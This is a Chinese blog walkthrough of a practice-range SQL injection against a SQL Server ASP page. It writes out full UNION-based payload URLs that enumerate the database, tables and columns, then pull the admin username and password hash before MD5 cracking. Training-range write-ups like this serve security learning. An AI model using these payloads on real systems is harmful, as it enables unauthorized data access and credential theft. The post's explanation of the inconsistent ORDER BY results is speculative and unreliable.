1、sql server数据库进行sql注入

靶机取自:墨者sql server
1、判断数据库类型

抓包知sql server,所以注入语句跟MySQL有些区别

2、判断注入点

“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。

3、确定列数为 4
  • /new_list.asp?id=2 ORDER BY 1 成功
  • /new_list.asp?id=2 ORDER BY 2 成功
  • /new_list.asp?id=2 ORDER BY 3 失败
  • /new_list.asp?id=2 ORDER BY 4 成功
  • /new_list.asp?id=2 ORDER BY 5 失败
  • /new_list.asp?id=2 ORDER BY 6 失败
  • /new_list.asp?id=2 ORDER BY 7 失败

根据这些信息,ORDER BY 4 成功,而 ORDER BY 3 失败,这看起来很矛盾,因为一般来说,如果 ORDER BY 3 失败,ORDER BY 4 应该也会失败。

分析原因:

  1. SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。

  2. 自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。

***所以sql测试中,我们需要进行更多测试以确认列数

4、判断回显字段

这其实还要分两种情况:

1、回显的字段是字符型,还是整数型或其他

  1. 数据类型匹配

    • 数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。
    • 例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
  2. SQL查询构造

    • SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。
    • 使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。

2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段

  • 正常页面:当提供的 id 值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果 UNION ALL SELECT 注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。
  • 错误页面:当提供的 id 值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的 UNION ALL SELECT 可能成为唯一的结果集,因此被显示出来。

思路

①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显

②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回显2、3字段

到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖

然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况

5、获取数据库信息

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4

6、获取数据表名manage

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

7、获取列名:id、name

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4

以此类推,获取第3个字段,第4个字段

8、查出用户名和密码

用户名:admin_mz、加密密码:72e1bfc3f01b7583

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4

9、md5解密

9、总结

1、判断数据类型是很重要的一点,影响后面的注入语句

2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试

3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖

4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号

5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值